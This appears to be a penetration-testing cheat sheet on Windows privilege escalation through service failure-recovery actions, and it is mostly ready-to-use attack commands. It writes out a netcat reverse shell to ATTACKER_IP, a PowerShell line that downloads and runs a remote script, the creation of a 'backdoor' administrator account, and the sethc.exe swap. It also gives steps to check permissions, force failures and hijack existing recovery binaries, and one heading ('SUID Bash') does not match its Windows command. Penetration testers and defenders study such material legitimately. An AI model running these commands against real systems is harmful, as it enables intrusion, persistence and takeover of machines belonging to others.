Skip to main content

Overview

Windows services can be configured with recovery actions that execute when the service fails. If you can modify a service’s recovery settings, you can make it run arbitrary commands as SYSTEM on failure.

Check Current Recovery Config

sc qfailure <ServiceName>
Get-CimInstance Win32_Service -Filter "Name='ServiceName'" | Select Name, StartMode
sc qfailure ServiceName

Recovery Action Types

ActionDescription
restartRestart the service
rebootReboot the machine
runRun a command/program

Exploit — Set Recovery to Run Command

Requirements

  • SERVICE_CHANGE_CONFIG permission on the service
  • Or membership in a group that can manage the service

Check Permissions

accesschk.exe /accepteula -ucqv "Everyone" <ServiceName>
accesschk.exe /accepteula -ucqv "Users" <ServiceName>
accesschk.exe /accepteula -ucqv "Authenticated Users" <ServiceName>

Set Malicious Recovery Action

sc failure <ServiceName> reset= 0 actions= run/0/run/0/run/0 command= "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"
ParameterMeaning
reset= 0Reset failure count after 0 seconds
actions= run/0/run/0/run/0Run command on 1st, 2nd, 3rd failure (0ms delay)
command=Command to execute on failure

Trigger Failure

Stop the service (causes failure on restart attempt):
sc stop <ServiceName>
Or kill the process:
taskkill /f /pid <PID>

Add Admin User on Failure

sc failure <ServiceName> reset= 0 actions= run/0 command= "cmd.exe /c net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add"

SUID Bash on Failure

sc failure <ServiceName> reset= 0 actions= run/0 command= "cmd.exe /c copy C:\Windows\System32\cmd.exe C:\Windows\Temp\sethc.exe"

PowerShell — Modify Recovery

sc.exe failure VulnService reset= 0 actions= run/0 command= "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')"

Find Services with Existing Recovery Commands

for /f "tokens=2 delims==" %s in ('wmic service get name /value ^| findstr "Name"') do @sc qfailure %s 2>nul | findstr /i "COMMAND" && echo --- %s ---
Get-Service | ForEach-Object {
    $fail = sc.exe qfailure $_.Name 2>$null | Select-String "COMMAND"
    if ($fail) { Write-Output "$($_.Name): $fail" }
}
If existing recovery command points to writable binary → replace it.

Quick Reference

StepCommand
Check permissionsaccesschk.exe -ucqv "Users" ServiceName
Set recovery actionsc failure ServiceName reset= 0 actions= run/0 command= "cmd"
Trigger failuresc stop ServiceName or taskkill /f /pid PID
Find existing commandsLoop through services with sc qfailure